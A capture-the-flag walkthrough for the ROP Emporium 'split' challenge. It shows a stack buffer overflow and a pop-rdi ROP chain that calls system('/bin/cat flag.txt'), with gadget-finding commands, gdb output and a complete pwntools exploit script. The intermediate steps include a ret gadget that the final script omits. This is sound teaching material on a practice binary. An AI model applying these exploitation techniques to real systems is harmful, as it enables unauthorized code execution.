split

Combining ret2win techniques to make multiple jumps.

This challenge will be a step above the first, where we must jump between multiple links before jumping to a final function.

Initial Analysis

Unlike other binaries, I am going to make a preliminary check first. You can do this across any binary to find interesting information before you start.

I want to check the strings to see the hardcoded strings in the binary. This can often be a valuable way to see not only the strings in the binary but also the functions that are present. We'll look around for these strings as we navigate the binary to ensure we understand the control flow.

Here are the most important things I found with strings split:

/bin/ls
;*3$"
/bin/cat flag.txt
split.c
pwnme
usefulFunction
libc.so.6
puts
printf
memset
read
stdout
system
setvbuf

Here's what we found:

Since function names are just ASCII text and are also hard coded, we can find those.
We see that /bin/cat flag.txt is called, as well as /bin/ls. ls is a new one we haven't expected to see, so we need to carefully watch for what that does.

Let's run the binary and see what happens:

$ ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> ok
Thank you!

Exiting

$ ./split
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
Segmentation fault (core dumped)

This is performing as expected. It's crashing for large input. We're not seeing the ls or cat flag.txt call yet, so let's go hunting.

Static Analysis

We'll disassemble these the same way we disassembled rop2win: writing equivalent C code as we go.

Our primary functions are usefulFunction, pwnme, and main. We'll start with main():

int main()
{
    setvbuf(stdout, 0, 0x2);
    puts("split by ROP Emporium");
    puts("x86_64\n");
    pwnme();
    puts("\nExiting");
    return 0;
}

Then we'll do usefulFunction:

void usefulFunction()
{
    system("/bin/ls");
}

Well, we found the ls call. Where's the cat flag.txt call? Let's check pwnme to see if it's there:

void pwnme()
{
    memset(rbp-0x20, 0, 0x20);
    puts("Contriving a reason to ask user for data...");
    printf("> ");
    read(0, rbp-0x20, 0x60);
    puts("Thank you!");
}

We don't have cat flag.txt here. What are we going to do? We need to consider the attack vector.

The Attack Vector

The attack vector is the method we use to exploit the binary. The goal here is to understand how we need to exploit the binary. Take a minute to think about how you would do this yourself before considering my solution.

The key here is that we don't have to jump to the start of a function. We can choose to jump in the middle of a function if this benefits us more. Therefore, our attack vector looks something like this:

Overflow the buffer to overwrite the return pointer and control execution.
Find a way to control rdi to pass a parameter into a function.
Load rdi with the address of /bin/cat flag.txt.
Jump immediately to the call to system with rdi loaded so that system("cat flag.txt") gets called.

With some good foresight, we can see that this will take 3 jumps to do. We'll call each jump a link inside the chain.

Now, let's gather everything we need for the attack.

Gathering the Materials

We need to find the following:

The size of the padding.
A gadget to write to rdi.
The address of /bin/cat flag.txt
The address of the system instruction.

Getting the Padding

Getting the padding is the easiest part. We start writing to rbp-0x20, so we must write 0x20+0x8 bytes to reach the return pointer.

Getting the Gadget

We only need one major gadget: the ability to write to rdi. We want to write to rdi from the stack. This calls for a gadget that does the following:

pop rdi; ret;

Let's understand why this works.

pop rdi takes the first item off the stack and stores it in the register provided (rdi). This loads the desired value.
ret continues our control of the return pointer in the same way we controlled it prior.
The lack of further instructions improves our chances of not overwriting data that will cause the program to crash.

How do we find gadgets? There are two popular choices for programs that find gadgets: ropper and ROPgadget. Both are equally useful, and I often find myself using them interchangeably. I have provided both program syntax and output; you can choose your personal preference.

To show all gadgets, we can use:

$ ROPgadget --binary split

$ ropper -f split

> /R

Radare2 also supports finding gadgets. However, I find it to be less useful than the other two. This is more useful when searching for specific functionalities rather than checking for availability. When applicable, I show the Radare2 command as well.

This will show a long list of every gadget that the libraries can find. We can filter this one of a few ways:

$ ROPgadget --binary split --only "pop|ret"

$ ropper -f split | grep rdi

> /R pop rdi

The third instruction is ROPgadget exclusive, and lets you only show binaries with specific instruction sets. Based on all these instructions, we should find the following gadget:

0x00000000004007c3 : pop rdi ; ret

The left is the address of the instruction, and the right is the gadget. This is exactly what we needed!

Finding the String

gdb makes this process super easy. Since the string is hardcoded, we can just search for it in memory. We can do this with the search-pattern:

gef➤  search-pattern "/bin/cat flag.txt"
[+] Searching '/bin/cat flag.txt' in memory
[+] In '/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/split/src/split'(0x601000-0x602000), permission=rw-
  0x601060 - 0x601071  →   "/bin/cat flag.txt"

[0x00400697]> e search.in=dbg.maps
[0x00400697]> / /bin/cat flag.txt
...
0x00601060 hit0_0 ./bin/cat flag.txt

This shows us the string is at 0x601060.

Finding the system Instruction

We know this is inside usefulFunction. We want to use this rather than going directly to better simulate the code truly executing this instruction.

   0x000000000040074b <+9>:	call   0x400560 <system@plt>

Putting it all Together

Let's take each step and put it together.

Step 1: Padding

We need to write 0x20+0x8 bytes to reach the return pointer. We can do this with:

padding = b'A' * 40
ropChain = b''

Step 2: Gadgets

We need a gadget to call ret.

g_ret = 0x400619

ropChain += p64(g_ret)

We need to write the gadget to the stack. We can do this with:

g_popRdi = 0x4007c3
v_catFlag = 0x601060

ropChain += p64(g_popRdi);
ropChain += p64(v_catFlag);

Step 3: Go to System

We need to write the address of system to the return pointer. We can do this with:

f_system = 0x40074b

ropChain += p64(g_ret)
ropChain += p64(f_system)

Now, to put it together.

exploit.py

from pwn import *

proc = process('./split')

g_ret = 0x400619
g_popRdi = 0x4007c3
v_catFlag = 0x601060
f_system = 0x40074b

# step 1: overflow the buffer
padding = b'A' * 40
ropChain = b''

# step 2: write address of /bin/cat flag.txt to rdi
ropChain += p64(g_popRdi);
ropChain += p64(v_catFlag);

# step 3: return to system
ropChain += p64(f_system)

# send the payload
print(proc.recvuntil(b'> '))
proc.sendline(padding + ropChain)
proc.interactive()

If we run this, we'll get the flag!

Please make sure that everything we did in this binary makes sense. This is the foundation of ROP and it only gets harder from here.

Previousrop2win Nextcallme

Last updated 1 year ago

Was this helpful?

$ ./split split by ROP Emporium x86_64 Contriving a reason to ask user for data... > ok Thank you! Exiting $ ./split split by ROP Emporium x86_64 Contriving a reason to ask user for data... > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Thank you! Segmentation fault (core dumped)

gef➤ search-pattern "/bin/cat flag.txt" [+] Searching '/bin/cat flag.txt' in memory [+] In '/home/joybuzzer/Documents/vunrotc/public/binex/05-rop/split/src/split'(0x601000-0x602000), permission=rw- 0x601060 - 0x601071 → "/bin/cat flag.txt"

from pwn import * proc = process('./split') g_ret = 0x400619 g_popRdi = 0x4007c3 v_catFlag = 0x601060 f_system = 0x40074b # step 1: overflow the buffer padding = b'A' * 40 ropChain = b'' # step 2: write address of /bin/cat flag.txt to rdi ropChain += p64(g_popRdi); ropChain += p64(v_catFlag); # step 3: return to system ropChain += p64(f_system) # send the payload print(proc.recvuntil(b'> ')) proc.sendline(padding + ropChain) proc.interactive()